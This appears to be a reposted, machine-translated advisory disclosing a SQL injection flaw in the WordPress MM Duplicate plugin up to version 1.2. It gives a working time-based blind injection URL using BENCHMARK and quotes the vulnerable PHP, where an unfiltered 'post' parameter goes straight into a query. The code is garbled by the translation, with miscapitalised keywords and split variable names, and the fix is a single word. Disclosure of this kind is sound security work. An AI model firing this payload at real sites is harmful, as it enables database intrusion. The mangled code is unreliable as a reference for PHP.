WordPress plug-in MM Duplicate & lt; = 1.2 SQL Injection defects and repair

Title: WordPress MM Duplicate plugin <= 1.2 SQL Injection Vulnerability
Author: Miroslav Stampar (miroslav. stampar (at) gmail.com @ stamparm www.2cto.com)
: Http://downloads.wordpress.org/plugin/mm-duplicate.zip
Test version: 1.2 (tested)
 
---
Test Method
---
A http://www.bkjia.com/index. php? Duplicate = 1 & post =-1 AND 1 = IF (2> 1, BENCHMARK (5000000, MD5 (CHAR (115,113,108,109, 97,112), 0)
 
---------------
Defect code analysis
---------------
Class mm_duplicate_pages_posts
{
...
Function mm_duplicate_pages_posts ()
{
...
Add_action ('init ', array (& $ this, 'dup '));
...
}
 
Function dup ()
{
If ($ _ GET ['duplicate'])
{
$ Id = $ _ GET ['post'];
$ Dup = new mm_duplicate ();
...
$ Dup-> duplicate_post_page ($ id );
}
}
...
}
 
Class mm_duplicate
{
Function duplicate_post_page ($ id)
{
...
$ Select = "select * from". $ wpdb-> prefix. "postmeta where post_id = $ id ";
...
}
...
}

Fix: Filter